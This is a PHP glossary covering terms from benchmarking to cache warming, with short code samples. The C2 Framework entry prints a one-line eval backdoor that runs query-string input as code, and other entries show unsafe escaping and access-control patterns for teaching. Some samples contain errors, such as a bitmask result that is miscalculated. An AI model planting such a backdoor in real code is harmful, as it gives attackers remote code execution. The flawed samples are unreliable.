The PHP Language Specification distinguishes three degrees of predictability for behavior that is not fully pinned down by the language rules: implementation-defined behavior, where the engine must pick one option and document it; unspecified behavior, where the engine may pick any valid option, with no obligation to document or stay consistent; and undefined behavior, where no result is guaranteed at all, usually because the code violates a language constraint.
See Also
Related
Benchmarking
Benchmarking is a process of measuring performances. In the computer science, it usually means the speed of execution of a piece of code, or its usage of memory.
Benchmarks are set up at the code level, to compare various syntaxes and algorithms; per PHP versions, to compare the evolution of features; at application level, where a high level feature is run on a full installation.
Benchmarks are usually a good indicator of performance, and should be reviewed with the environment in mind: the hardware, operating system, versions, configurations, feature description … all have impacts on the final results, or the actual representation of real world situations.
See Also
- PHP bench
- PHPbenchmarks
- The Definitive PHP 7.2, 7.3, 7.4, 8.0, and 8.1 Benchmarks
- Benchmarking PHP code with PhpBench Benchmarks
- PHP Performance Benchmark 2026: 7.4 vs 8.0 vs 8.1 vs 8.2 vs 8.5
Related
- Performance
- Flame Graph
- Micro-optimisation
- Treemap
- Latency
- Premature Optimization
- State of the Art (SOTA)
- Throughput
Related packages
Best Practices
Best practices, or also called good practices, are rules and guidelines that are known to produce a desirable outcome.
For example, ‘comment the code’, ‘use meaningful names’ and ‘optimisation is the root of all evil’ are such rules.
Best practices are often grouped in a ruleset, such as SOLID, DRY or Calisthenics.
It takes some effort to understand the value of the rules, without running into the errors they protect against.
Some best practices focus on syntax level elements, such as forbidding usage of @ operator, or always using strict_types.
Best practices may be at odds one with another one. They may also be rejected by some developers while adored by others. There is no common list of best practices, and it evolves with time.
See Also
- PHP - Best Practices 2019
- PHP: The Right Way — Design Patterns
- Modern PHP Development: Best Practices for Today
Related
- Design Pattern
- Pattern
- Convention
- Explanation
- Habit
- Standard
- Don’t Repeat Yourself (DRY)
- SOLID
- Object Calisthenics
- Dog Fooding
- Idiomatic
- Red-Green-Refactor
- State of the Art (SOTA)
Big-o-notation
Big O notation is a way to describe how fast an algorithm’s runtime or memory usage grows as the input size gets very large. It answers the question: ‘What happens when I give this algorithm 1000 items instead of 10?’
It describes the shape of the curve on a graph, not the exact speed.
See Also
- List of Big-O for PHP functions
- Simple Big-O Notations using PHP CLI
- Algorithm Complexity & Big O Notation
- Big O Cheat Sheet – Time Complexity Chart
Related
Binary Integer
Integers can be specified in binary, or base 2, notation. Binary integer syntax starts with the prefix 0b and only contains 0 and 1.
Binary integers may be specified as positive or negative. Their size may become very long, and yet, eventually, produce an integer. They may have leading 0, after the prefix 0b.
Binary format exists only at compilation time: at execution time, the integer is in decimal form and has no hint that it was input as a binary number.
Binary numbers are integers until PHP_INT_MAX. Beyond that, they are cast into a decimal number, float, and eventually, are returned as INF.
It is possible to use decbin() and sprintf(), related functions to produce a string representation in the binary format.
<?php
// 12
$binary = 0b1100;
// On a 32bit machine (double the size for 64bits one)
$binary = 0b1111111111111111111111111111111;
?>
See Also
Related
Binary Not Operator
The tilde ~ operator returns the opposite value, bit by bit. The value is first converted to an integer, then, negated. This operator returns an integer.
~ is often confused with !, as some usages quite overlap.
<?php
$a = 3; // 3
$b = ~$a; // -4
$c = !$a; // false
?>
See Also
Related
Binary Operator
A binary operator is an operator that operates on a two operands. It performs an operation based on the value of both operand. PHP supports several binary operators, including the following:
- Assignation operator
= - Equality operator
== - Difference operator
!-and<> - Identity operator
=== - Non-identity operator
!== - Math operators, such as addition
+, substraction-, multiplication*, division/, power**, modulo% - Comparison operators, such as greater than
>, greater or equal than>=, lesser than<, lesser or equal than<= - Concatenation, with the dot operator
. - Spaceship operator,
<=> - All the short operators, that combines a binary operation with an assignation: for example, add and assign
+=
And many others.
<?php
$a = 1;
$a +=2;
var_dump($a === 3); // true
?>
See Also
Related
Binary
Binary has several distinct usages:
- Binary integers: a way to represent numbers with 0 and 1
- Binary operators: operators that use 2 arguments
- Binary search: a search technique over a sorted array
- Binary executable: the compiled version of PHP, not as source code
Generally, binary refers to the binary integers.
<?php
// 12 in binary
$binary = 0b1100;
// > is a binary operator: it takes 2 arguments
var_dump($binary > 13);
?>
See Also
Related
Bind
A closure, when build on a method, is bound to an object. When the closure is executed, it will be with that object. Unless the closure is rebound with another object: in that case, the new object will be used as context for the closure execution.
<?php
class Elephpant {
public function __construct(private int $age) { }
public function trumpet() { echo $this->age; }
}
$fn = Closure::fromCallable([new Elephpant(10), 'trumpet']);
$fn();
$fn2 = $fn->bindTo(new Elephpant(99), Elephpant::class);
$fn2();
// $fn is called with another object
$fn->call(new Elephpant (100));
?>
See Also
Related
Bitfield
A bitfield is a data structure that packs multiple related boolean flags or small integers into a single integer or sequence of bits, where each bit or group of bits represents a distinct value or state.
Bitfields are stored as integers. They may be specified with the binary integer notation, which makes the individual bits visible.
<?php
$bitfield = 0b111; // 7
?>
See Also
Related
Related packages
Bitmask
A bitmask is a single integer, or sequence of bits, used to set, clear, or check the state of specific bits in another integer, usually via bitwise operations.
<?php
$bitfield = 0b111; // 7
$bitmask = 0b100; // 4
$result = $bitfield | $bitmask; // 0b011 == 3
?>
See Also
Related
Related packages
Bitshift Operators
Bitshift operators << and >> move bits within an integer. The bits are shifted by an number of position, to the right or to the left. They are equivalent to multiplying or dividing by a power of 2.
<?php
$a = 3; // binary : 11
echo $a >> 1; // binary : 1 (the last 1 is lost)
echo $a << 2; // binary : 1100
?>
See Also
Related
Bitwise Operators
Bitwise operators evaluate specific bits within an integer.
Bitwise operators are convenient to handle bit fields.
&,&=: ampersand operator, and|,|=: pipe operator, or^,^=: caret operator, xor
All these operators have a short assignation version, as shown above.
These operators differ from logical operators, which convert the value to boolean before manipulation.
<?php
$a = 3; // binary : 11
$b = 7; // binary : 111
print $a & $b; // 3; binary : 11
?>
See Also
Related
- And Operator
- Logical Operators
- Short Assignations
- Bitfield
- Boolean
- Bitmask
- Bitshift Operators
- Letter Logical Bug
- Pipe
|, The Logical Operator
Black Box Testing
Black box testing is a testing approach where the tester examines the behavior of a system without any knowledge of its internal code, structure, or implementation.
Only inputs and outputs are considered: the tester provides inputs, either through a UI, an API, or a running application, and checks whether the outputs match the expected behavior. This approach mimics how an actual end-user or an external attacker would interact with the system.
Black box testing is commonly used for functional testing, acceptance testing, and penetration testing, where testers probe an application from the outside, the same way a real attacker would.
See Also
Related
Blade
Blade is the templating engine bundled with the Laravel framework. Like Twig, it separates presentation from business logic, but Blade templates compile down to plain PHP and are cached, rather than being interpreted by a separate engine.
Blade’s output syntax matters for security: {{ $value }} automatically passes the value through htmlspecialchars() before printing it, which is the safe default for most output. The unescaped syntax {!! $value !!} prints the raw value with no encoding at all, and is only safe when the value is fully trusted, for instance HTML generated by the application itself, never raw user input. A third form, Js::from($value), is used to safely embed PHP data inside a <script> block: it encodes the value as JSON and escapes characters that would otherwise break out of the script context, which plain {{ }} does not do correctly.
Blade also provides control structures such as @if, @foreach, and @include, as well as reusable layouts through @extends and @section.
<?php
// resources/views/comment.blade.php
{{-- Safe: escaped through htmlspecialchars() --}}
<p>{{ $comment->body }}</p>
{{-- Dangerous with untrusted data: no escaping at all --}}
<p>{!! $comment->body !!}</p>
{{-- Safe way to pass PHP data into a <script> block --}}
<script>
const comment = {!! \Illuminate\Support\Js::from($comment->body) !!};
</script>
?>
See Also
Related
- Laravel
- Twig
- View
- Template
- Cross Site Scripting (XSS)
- HTML Escaping
- Write Context
- htmlspecialchars
- json_encode()
Related packages
Blast Radius
Blast radius, borrowed from the vocabulary of explosives, is the extent of the damage caused when something goes wrong: how many users, services, servers, or how much data are affected by a single failure, bad deployment, or security incident, as opposed to how severe that failure is in isolation.
In deployment and reliability, blast radius is what a canary release, feature flag, or gradual rollout deliberately keeps small: instead of shipping a change to every server or every user at once, it is shipped to a small slice first, so that a regression only affects that slice while it is caught and rolled back. Fault isolation techniques, such as the circuit breaker, the bulkhead, or splitting a monolith into independently deployable services, reduce blast radius by containing a failure to the component where it originates rather than letting it cascade to unrelated parts of the system.
In security, blast radius describes how much an attacker can reach once a single credential, API key, or account is compromised. A database user with full admin rights, or an API token with unrestricted scope, has a large blast radius; the principle of least privilege exists specifically to shrink it, so that a leaked key only exposes the narrow set of resources it was actually issued for.
Reducing blast radius does not reduce the probability of a failure occurring; it reduces the cost when one does, which is why it is a central concern of chaos engineering drills, incident postmortems, and access control design alike.
See Also
Related
Blind Variable
A blind variable is a variable that is needed in an expression, but doesn’t carry much semantic value. This is the case in loops, where the local variable is needed for the processing of each element, but is often a generic name.
Blind variables are defined in the host structure.
Blind variables are expected to be used only within their structure, although they do exist beyond.
<?php
// $key and $value are blind variables
foreach(source() as $key => $value) {
doSomething($key, $value);
}
// standard loop syntax
for($i = 0; $i < 10; ++$i) {
doSomething($i);
}
?>
See Also
- When writing a ‘for’ loop, why does everyone name the variable as ‘i’?
- Stop the i, j, k Confusion: A Clearer Approach to Loop Index Naming
Related
Block
Blocks are zero, one or more instructions, grouped together with or without curly brackets.
A number of commands require blocks of instructions: namespace, use, function, class, trait, interface, enum, closure, switch, match, for, foreach, while, do..while, if-then.
Blocks may require brackets, like for class, switch(), function bodies; they may be optional, like with case, arrow-functions, namespace or loops.
A block may live on its own: it has no impact on the code, although it might be used to arbitrarily group instructions.
<?php
function trumpet($trunk) {
if ($trunk) {
$tusk = 1;
} else
$tusk = 2;
return $tusk;
}
?>
See Also
Related
Blocking Wait
A blocking wait, or blocking call, also called a synchronous wait, is an operation that suspends the execution of the current process or thread until the operation completes. During a blocking wait, no other work can be done by that execution unit.
Most PHP I/O operations like file reads, database queries, HTTP requests via curl… are blocking by default. The PHP process simply waits until the operation returns a result.
The alternative is non-blocking or asynchronous I/O, where execution continues and a callback or coroutine is invoked when the result is ready. Frameworks such as ReactPHP and Amp provide non-blocking event loops for PHP.
Blocking waits can become a bottleneck in high-concurrency scenarios, as each blocking call ties up a worker process.
<?php
// Blocking: execution stops here until the HTTP response arrives
$response = file_get_contents('https://api.example.com/data');
// Blocking: waits for the sleep to complete
sleep(2);
// Non-blocking alternative using ReactPHP
$loop = React\EventLoop\Factory::create();
$browser = new React\Http\Browser($loop);
$browser->get('https://api.example.com/data')->then(function ($response) {
echo $response->getBody();
});
$loop->run();
?>
See Also
Related
Related packages
Bloom Filter
A Bloom filter is a space-efficient probabilistic data structure used to test whether an element is a member of a set. It can return false positives, indicating an element might be in the set when it’s not, but never false negatives, if it says the element is not in the set, it’s definitely not.
See Also
Related
Related packages
Body
The body, of a function or a command, is the related block that is commanded by the command. It is often enclosed in curly brackets { }, as for function or switch, but sometimes optional, as for foreach or ifthen.
The body is omitted in a method, when the method is abstract. As an abstract method is only its signature, the body is replaced by a semi colon ;.
<?php
abstract class Elephpant {
function trumpet() {
// This block is the body
}
// No body for an abstract method
abstract function forage();
}
?>
See Also
Related
Boilerplate
Boilerplate refers to sections of code, documentation, or configuration that are repeated in multiple places with little or no variation. Boilerplate code is often necessary but can be tedious to write and maintain because it is standardized and reused frequently.
Code generation and libraries reduce boilerplate code, by automating the generation of code.
<?php
// Example: Manual database connection and query: boilerplate is connexion, query, execution, fetch.
$pdo = new PDO('mysql:host=localhost;dbname=test', 'user', 'pass');
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = ?');
$stmt->execute([$id]);
$user = $stmt->fetch(PDO::FETCH_ASSOC);
?>
See Also
Related
Broken Object Level Authorization (BOLA)
Object Level Authorization is a mechanism that checks if a user has the right to access or execute an action on a specific object. For example, a user may have the permission to update his profile, but not anyone else’s profile.
Such mechanisms are often overlooked, as they are set deep in the application, and the user has been channeled there with all needed information.
BOLA is often detected by manipulating the ids of the objects.
See Also
- Broken Object Level Authorization
- Broken Object Level Authorization (BOLA): The Silent Threat in API Security
Related
Boolean
A boolean is a value that is either true or false.
PHP’s booleans are constants. They may be prefixed by \, and are case-insensitive. They can’t be redefined in any namespace.
There are operators to convert any data to a boolean, and operators to combine boolean together. There are also bit operators, which process integers as a field of boolean.
Booleans have a related scalar type: bool. There is also a special false type.
<?php
$a = True;
$b = \FALSE;
?>
See Also
Related
Bootstrap
The bootstrap concept generally means starting something using minimal initial resources and building it up by using the results of earlier steps. It’s the idea of pulling yourself up by your own bootstraps.
Use a small, simple starting point to create a more complex or capable system.
Bootstrapping include the following steps
- Load composer autoload
- Define base path
- Load environment variables
- Load configuration
- Create the application object
- Set up dependency injection container
- Set up service providers
- Establish connections to database, logging system, cache
- Register routes
- Attach listeners
- Build the request object
- Run the controller
These list is a general panorama. The steps may not be in order, not exhaustive not applicable to specific frameworks.
See Also
Related
Ownership
Ownership, and Borrow Checking, is a compile-time memory model, central to Rust, in which every value has exactly one owning variable at a time. Moving a value transfers ownership and invalidates the previous owner; borrowing lets code use a value temporarily through a reference, either one mutable borrow or any number of read-only borrows at once, but never both simultaneously. The borrow checker enforces these rules at compile time, which is how Rust prevents data races and use-after-free bugs without a garbage collector.
Because the rules are purely static, a program that violates them is simply rejected by the compiler before it ever runs; there is no runtime cost and no runtime check.
PHP has no ownership model and no borrow checker. Objects are reference-counted and garbage-collected: a value can be referenced from as many variables as needed, simultaneously and without restriction, and the engine tracks lifetime automatically rather than the type system enforcing exclusive access. This removes an entire class of bugs the borrow checker targets, at the cost of PHP being unable to statically guarantee the absence of concurrent, conflicting mutation of the same object from unrelated parts of a program.
See Also
Related
Bottleneck
A bottleneck is a place in a piece of software which cannot keep up with the rest of the application. It is the slowest part, and also, the limiting portion of the software. It builds on the image of a bottle, where the neck is smaller to reduce spilling in case of a fall, but reduces output too.
See Also
- Top 7 PHP Performance Bottlenecks and How to Monitor Them [2026 Complete Guide]
- Monitoring PHP Performance and Diagnosing Bottlenecks
Related
Bracket
Bracket is a generic class of characters.
They include
- Parenthesis,
(), or round brackets - Curly
{}, or accolades - Square
[], or brackets
Brackets are a element of the PHP syntax.
<?php
// curly brackes for block
{
// square brackets for array syntax
$array[1] = 2;
}
?>
See Also
Related
Bracketless
Bracketless refers to situations where a block of code has optional enclosing curly brackets {}.
Bracketless blocks lead to only one expression as a block, which is error prone. Most of the time, the brackets are always required by convention, unless the block is explicitly delimited, as in a do-while().
This is the case with single expressions for(), foreach(), while(). It is the case with do-while and with cases, in switch().
It is also the default usage with the alternative syntax, which does not use brackets for block enclosing.
switch() and match() must have parenthesis around the block of cases: these can’t be bracketless.
Bracketless only applies to curly brackets {}. Parenthesis are mostly used for operator precedence, and, when not, are actually useless. Square brackets are never optional.
<?php
// bracketless foreach()
foreach([1,2,3] as $number)
print $number . PHP_EOL;
$a = 1; // This is not part of the loop, even if it looks like so
// bracketless do-while()
$number = 1;
do
print $number . PHP_EOL;
++$number;
while ($number < 4);
?>
See Also
Related
Branch
A branch is one of the two alternative in a if then expression. There is the then branch, and the else branch. There are usually two meanings associated with PHP code:
- Control-flow branch: the path taken by execution when a condition is evaluated, as in
if/else,match()arms, orswitchcases - VCS branch: a parallel, independent line of development in a version control system such as git, created to work on a feature or fix without disturbing the main line, and later reintegrated through a pull request or a merge commit.
<?php
// a match with 2 arm, including the default
if ($a) {
$branch = 'then';
} else {
$branch = 'else';
}
?>
See Also
- How to Create a Branch in Git? | Atlassian Git Tutorial
- Git Branch: Creating, Managing, and Merging Branches
Related
Breach
A breach is the actual usage of a vulnerability to gain unwanted access to resources on a server.
A breach may:
- Steal sensitive information, such as, and not limited to, user credentials, financial data, source code
- Deface the website
- Install backdoors or malware
- Use of the server for further attacks, e.g., DDoS, phishing, crypto-mining
After a breach, there is a phase of remediation.
See Also
Related
Breadth-First Search
Breadth-first search, or BFS, is an algorithm for traversing or searching a tree or graph that explores all neighbors of a node before moving on to the next level of neighbors. Starting from a root node, it visits every node at distance 1, then every node at distance 2, and so on, expanding outward one full layer at a time.
BFS is typically implemented with a queue: the starting node is pushed in, and then, repeatedly, a node is popped from the front, its unvisited neighbors are marked visited and pushed to the back, until the queue is empty. This first-in-first-out order is what produces the level-by-level traversal, in contrast with depth-first search, which uses a stack, or recursion, and dives down one branch before backtracking.
Because it explores the graph one layer at a time, BFS is the natural choice for finding the shortest path between two nodes in an unweighted graph, since the first time the target node is reached is guaranteed to be via the fewest possible edges. It is used for tasks such as finding the shortest chain of relations in a social graph, crawling a website level by level, or checking whether a graph is connected.
<?php
function bfs(array $graph, string $start): array {
$visited = [$start => true];
$order = [];
$queue = new SplQueue();
$queue->enqueue($start);
while (!$queue->isEmpty()) {
$node = $queue->dequeue();
$order[] = $node;
foreach ($graph[$node] ?? [] as $neighbor) {
if (!isset($visited[$neighbor])) {
$visited[$neighbor] = true;
$queue->enqueue($neighbor);
}
}
}
return $order;
}
$graph = [
'A' => ['B', 'C'],
'B' => ['A', 'D'],
'C' => ['A', 'D'],
'D' => ['B', 'C'],
];
print_r(bfs($graph, 'A')); // ['A', 'B', 'C', 'D']
?>
See Also
Related
Related packages
Break
break is a control structure, which ends execution of the current for, foreach, while, do-while or switch structure.
break accepts an optional argument, which tells how many enclosing structures are to be broken out of.
break should not be confused with continue: continue doesn’t work in a switch, like break does.
<?php
foreach([1,2,3] as $b) {
// break upon the first even number
if ($b % 2 == 0) {
break;
}
echo $b;
}
foreach([1,2,3] as $b1) {
foreach([1,2,3] as $b2) {
// break upon the first even number
if (($b1 + $b2) % 2 == 0) {
break 2; // exit both loops
}
}
echo $b1 + $b2;
}
?>
See Also
Related
Broken Access Control
Broken access control is a category of vulnerability where an application fails to properly enforce what an authenticated, or even anonymous, user is allowed to do. Authentication answers who is this user?, while access control answers what is this user allowed to do?; broken access control happens when the second question is not asked, or answered incorrectly.
Typical instances include bypassing the principle of least privilege by allowing an action that should be denied by default, viewing or editing another user’s record by tampering with an identifier, an API missing checks on some of its endpoints, or a low-privilege user reaching admin-only features by elevation of privilege.
Broken access control is a category, rather than a single flaw: IDOR and BOLA are common, specific instances of it.
<?php
// Broken access control: the check for admin-only is missing
function deleteUser(int $id) {
$db->query("DELETE FROM users WHERE id = $id");
}
// Fixed: enforce the role before performing the action
function deleteUser(int $id, User $currentUser) {
if (!$currentUser->isAdmin()) {
throw new UnauthorizedException();
}
$db->query("DELETE FROM users WHERE id = $id");
}
?>
See Also
Related
- Authorize
- Access Control List (ACL)
- Role Based Access Control (RBAC)
- Insecure Direct Object Reference (IDOR)
- Broken Object Level Authorization (BOLA)
- Vulnerability
- OWASP
- Permission
Brownfield
A brownfield project is a software development effort that takes place within or alongside an existing codebase, legacy system, or inherited infrastructure. The term is borrowed from civil engineering, where building on previously developed land, a brown field, requires accounting for existing structures, contamination, or constraints that new construction on a green field would not face.
Brownfield development is the norm in most professional PHP work. The majority of PHP projects in production were not started recently, and carry decisions made years ago, under different requirements, by teams that may no longer be present.
Characteristics of brownfield PHP projects:
- Legacy constraints: older PHP versions may be the baseline, and introducing modern syntax such as named arguments, readonly properties, or fibers requires either a PHP upgrade or a split codebase.
- Accumulated technical debt: inconsistent coding standards, mixed paradigms, missing tests, and undocumented assumptions are common. Any new feature must navigate this existing complexity.
- Migration risk: every change to a shared module, database schema, or API contract risks breaking existing behaviour. Regression testing becomes critical.
- Incremental improvement: refactoring must be done in stages. The strangler fig pattern, replacing parts of the system piece by piece while keeping the rest running, is a common strategy.
- Third-party integration: brownfield systems often depend on vendors, external APIs, or legacy libraries that constrain upgrade paths.
The opposite of brownfield is greenfield development: starting a new project from scratch with full freedom over architecture and tooling.
Strategies for managing brownfield PHP code:
- Introduce static analysis tools, incrementally using a baseline file to suppress existing errors while preventing new ones
- Add a test harness around untested modules before refactoring them
- Use PHP-CS-Fixer or Rector to automate style and upgrade migrations without manual churn
- Enforce
declare(strict_types=1)file by file as modules are touched.
<?php
// Brownfield: adding strict types to an existing file during a refactor,
// without changing behaviour, as part of incremental improvement.
declare(strict_types=1);
// Rector rule example (in rector.php): automatically upgrade syntax in legacy files.
// $rectorConfig->ruleWithConfiguration(
// \Rector\TypeDeclaration\Rector\FunctionLike\AddReturnTypeDeclarationRector::class,
// [...]
// );
// Characterisation test: lock current (possibly wrong) behaviour before refactoring.
// $this->assertSame(legacyFunction($input), legacyFunction($input));
?>
See Also
Related
browscap
Browscap is a browser capabilities project that provides a database and API for determining the capabilities of a web browser. The term Browscap is often used to refer to the browser capabilities project as well as the configuration file browscap.ini that contains information about various web browsers.
The primary purpose of Browscap is to help web developers tailor their web applications or websites based on the capabilities of the user’s browser. It provides details about the browser type, version, and various other characteristics. This information can be used to adapt the presentation or behavior of a website to ensure compatibility with different browsers.
The Browscap project originally started as a part of the PHP project, and PHP developers can use the information from Browscap to improve the accuracy of functions like get_browser(), which is a PHP function used to get information about the capabilities of a user’s browser.
<?php
print_r(get_browser($_SERVER['HTTP_USER_AGENT']));
?>
See Also
Related
Browser
A browser, short for web browser and also called a navigator, is a software application designed to access, retrieve, and display content from the World Wide Web. It allows users to view and interact with websites, web applications, and online services.
PHP features get_browser() native function, which lists some of the requesting browser capabilities.
PHP acts as a http client rather than a browser, when using the http:// wrappers, the curl extension or the components like guzzle, amphp, reactphp, etc.
See Also
Related
Related packages
Bucket
The term bucket is not commonly associated with a specific concept. In a more general sense, the term bucket is often used in the context of data structures and algorithms to refer to a container or a storage space for holding several elements together.
For example, in the context of hashing or hash tables, a bucket may be used to describe the individual storage locations where key-value pairs are stored. When a hash collision occurs, that is when two keys hash to the same location, the elements with the same hash value are often placed in a bucket, which is a data structure that allows multiple elements to be stored at the same location.
See Also
Related
Bug
A bug is a discrepancy between the expected result of a program and its actual result.
Bugs have many different varieties:
- Code does not compile
- Program stops before completing, with a ‘Fatal error’
- Program outputs a wrong result
- Program outputs a result different from expected
- Program is vulnerable to security attack
- Poor performance.
<?php
// a case of syntax error
// echo hello world;
echo -3 ** 2; // known bug
?>
See Also
Related
Build
A build is the automated process of transforming source code into a deployable artifact, performed by a build tool. Build steps typically include: installing dependencies, running static analysis, executing tests, generating assets, and packaging the application.
Build processes are commonly driven by tools such as Make, Phing, Composer scripts, or shell scripts, and are integrated into a Continuous Integration pipeline.
A reproducible build produces the same artifact from the same source code, which is essential for reliable deployments.
<?php
// composer.json scripts section acts as a simple build runner
// { "scripts": { "build": ["@lint", "@test", "@analyse"] } }
// Phing build.xml target example:
// <target name="build" depends="lint,test,package"/>
?>
See Also
Related
Related packages
Bulkhead
The bulkhead pattern isolates the resources used to call different dependencies, so that a slowdown or failure in one dependency cannot exhaust the resources needed to keep serving requests to healthy ones. The name is a nautical metaphor: a ship’s hull is divided into watertight compartments, so a breach in one compartment floods only that section instead of sinking the whole ship.
In practice, a bulkhead caps how many concurrent calls, connections, or workers may be in flight for a given dependency, using a semaphore, a dedicated connection pool, or a separate queue/worker group per dependency. When the cap is reached, further calls are rejected immediately, or shed to a fallback, rather than queued indefinitely behind an already-struggling dependency; this keeps one slow API or database from starving the resources that other, unrelated calls also depend on.
Bulkheads are often deployed alongside circuit breakers: the circuit breaker stops calling a dependency once it is clearly failing, while the bulkhead limits how much damage that dependency can do to the rest of the application while it is still being called.
PHP’s traditional one-request-per-process model already gives some bulkhead-like isolation between requests, but within a long-running process, such as a queue worker, a Swoole/RoadRunner server, or a script fanning out to several APIs, resources must be bounded explicitly: a semaphore-like construct such as a Swoole\Coroutine\Channel with a fixed capacity, a Redis counter with a TTL acting as a distributed semaphore, or a dedicated HTTP client with its own connection pool per dependency.
<?php
// Bulkhead via a Swoole coroutine channel used as a counting semaphore
$semaphore = new \Swoole\Coroutine\Channel(20); // capacity: 20 concurrent calls
for ($i = 0; $i < 20; $i++) {
$semaphore->push(true);
}
$semaphore->pop(); // acquire a slot (blocks if the pool is saturated)
try {
$response = callDependency();
} finally {
$semaphore->push(true); // release the slot
}
?>
See Also
Related
- Circuit Breaker
- Resilience
- Fault Isolation
- Connection Pool
- Rate Limiting
- Cascading Failure
- Coroutine
- Blast Radius
- Chaos Engineering
- Stale-While-Revalidate
- Timeout
Business Logic
Business logic, also called domain logic, is the part of the application that encodes the real-world rules, workflows, and decisions that the software is built to fulfill. It is the ultimate goal of the software: the reason it exists.
Business logic answers questions like: how is an invoice calculated? What are the conditions for a user to be eligible for a discount? When is an order considered fulfilled? These rules come from the business domain, not from the technology.
Everything else in the application, like HTTP routing, database persistence, authentication, caching, logging, is infrastructure. Infrastructure exists to serve the business logic, not the other way around. A common design mistake is to scatter business rules across controllers, SQL queries, or framework callbacks, making them hard to find, test, and change.
Well-structured applications isolate business logic from infrastructure. Domain-Driven Design, Hexagonal Architecture, and Clean Architecture all promote this separation. The domain layer, which holds the business logic, should have no dependencies on frameworks, databases, or external services. This makes it independently testable and resilient to technology changes.
Business logic often leaks into controllers, the infamous fat controllers, Eloquent models, the fat models, or stored procedures, which are anti-patterns that couple the domain to infrastructure concerns.
See Also
Related
- Domain Design Driven (DDD)
- Clean Architecture
- Hexagonal Architecture
- Architecture
- Fat Controller
- Separation Of Concerns
- Model - View - Controller (MVC)
- Service
- Domain
- Specification
- Testable
Passing By Reference
When calling a method, or returning from it, data may be passed by value or by reference.
By reference, a reference to the data is passed: any modification on that value inside the method will be reflected in the original value.
This is the alternative way of passing data to methods: the default way is to use by value, which copies the data.
Passing by reference is the default behavior with object. Otherwise, it needs to be declared with the & operator, in the function signature.
Returned values are passed back to the calling context with the same rule as for parameters.
<?php
$trunk = 0;
trumpet($trunk); // displays 1
print $trunk; // displays 1
function trumpet(&$trunk) {
++$trunk;
echo $trunk;
}
?>
See Also
Related
Passing By Value
When calling a method, or returning from it, data may be passed by value or by reference.
By value, a copy of the data is passed: any modification on that value inside the method will not be reflected in the original value.
This is the default way of passing data to methods: the alternative way is to use by reference.
Passing by value may be memory-intensive when passing a large array. This is not the case for objects, which are always passed by reference.
Returned values are passed back to the calling context with the same rule as for parameters.
<?php
$trunk = 0;
trumpet($trunk); // displays 1
print $trunk; // displays 0
function trumpet($trunk) {
++$trunk;
echo $trunk;
}
?>
See Also
Related
Byte
A byte is a unit of digital information storage that typically consists of 8 bits. It is the fundamental building block for representing data in computers. A byte can store values ranging from 0 to 255, in an unsigned 8-bit representation.
PHP uses bytes when manipulating strings. Bytes are characters, as long as the string uses ASCII representation, which is by default. Characters might be larger than a byte, and they become multi-bytes.
<?php
$string = abcd;
echo strlen($string); // 4
?>
See Also
Related
bzip2 Extension
The bzip2 extension handles the bzip2 compression format: read, write and access arbitrary part of files. It also provides a compression format for the output of PHP.
<?php
// open file for reading
$bz = bzopen($filename, r);
// output until end of the file
echo bzread($bz);
bzclose($bz);
?>
See Also
Related
C10K
The C10K problem is the challenge of handling 10,000 concurrent network connections on a single server. The term was coined by Dan Kegel in 1999 and became a landmark milestone in server design.
Traditional thread-per-connection or process-per-connection models collapse under this load: spawning 10,000 threads consumes gigabytes of stack memory and floods the OS scheduler. The solution is event-driven I/O, using epoll, kqueue, or WSAPoll to watch thousands of file descriptors simultaneously in a single thread, only waking when a descriptor is actually ready.
C10K-scale concurrency historically required external tools: nginx as a front-end proxy, FrankenPHP workers, or userland event loops from ReactPHP, AMPHP, or Revolt. PHP 8.6 addresses this with the native Io\Poll API, which exposes epoll/kqueue directly without leaving PHP.
The successor challenge, C10M or 10 million connections, requires kernel bypass techniques, that are out of scope for userland PHP.
<?php
// Without C10K-aware design: one process per connection
// Fails at high concurrency: each fork() is expensive
$server = stream_socket_server('tcp://0.0.0.0:8080');
while ($client = stream_socket_accept($server)) {
if (pcntl_fork() === 0) { // child per connection: does not scale to 10K
handle($client);
exit;
}
}
// C10K-aware: single process, event-driven, PHP 8.6 Io\Poll
use Io\Poll\Context;
use Io\Poll\Event;
$context = new Context();
$server = stream_socket_server('tcp://0.0.0.0:8080');
stream_set_blocking($server, false);
$context->add($server, Event::Read, function ($handle) use ($context) {
$client = stream_socket_accept($handle->stream, 0);
if ($client === false) { return; }
stream_set_blocking($client, false);
$context->add($client, Event::Read | Event::OneShot, function ($ch) {
echo fread($ch->stream, 8192);
fclose($ch->stream);
});
});
$context->run(); // handles thousands of connections in one thread
?>
See Also
Related
C2 Framework
A C2 framework is a library of tools to use with a vulnerability, to discover and escalate services on a target website. C2 Framework is also known as a C&C framework, or command-and-control framework.
Among the possible tasks, there are running command system, creating, editing and removing files, starting reverse shells, etc.
C2-framework shall be used once a backdoor has been installed, to widen the control over the target server. The installation of the backdoor is not included in the C2 framework.
<?php
// example of a simple backdoor, based on the GET method
echo @eval($_GET['command']);
?>
See Also
Related
Cache Stampede
A cache stampede, also known as thundering herd or dog-piling, is a failure mode that occurs when many concurrent requests simultaneously discover that a cached value has expired or is missing. All requests then attempt to regenerate the cache at the same time, flooding the backend with redundant work. This is especially destructive under high traffic because the backend, already under load, receives a sudden spike just when it is needed most.
Common mitigation strategies include: locking, where only one process regenerates the cache while others wait or serve stale data, probabilistic early expiration, where the cache refreshes slightly before it expires, based on a probability, and background revalidation, which returns stale data immediately while refreshing asynchronously.
<?php
// Naive approach: prone to cache stampede
$value = $cache->get('key');
if ($value === null) {
// All concurrent requests reach here simultaneously on expiry
$value = expensiveComputation();
$cache->set('key', $value, ttl: 60);
}
// Lock-based mitigation
$value = $cache->get('key');
if ($value === null) {
$lock = $cache->lock('key:lock', ttl: 5);
if ($lock->get()) {
try {
$value = expensiveComputation();
$cache->set('key', $value, ttl: 60);
} finally {
$lock->release();
}
} else {
// Wait for the lock holder to populate the cache
$lock->block(4);
$value = $cache->get('key');
}
}
?>
See Also
Related
- Cache
- Time To Live (TTL)
- Race Condition
- Mutex
- Lock
- Concurrency
- Rate Limiting
- Availability
- Reliability
- Cache Warming
- Cold Cache
- Hot Cache
- Stale-While-Revalidate
Related packages
Cache Warming
Cache warming, or warming up, is the practice of proactively populating a cache before real traffic depends on it, instead of letting the first users pay the cost of a cold-cache. It applies to both data and code.
For data, a warm-up script runs the same queries or computations that production traffic would trigger, storing the results in Redis, APCu, or another cache backend, so that by the time a deployment goes live, the hot-cache already holds the most requested entries. This is common after a deployment, a cache flush, or when bringing up a new server behind a load balancer.
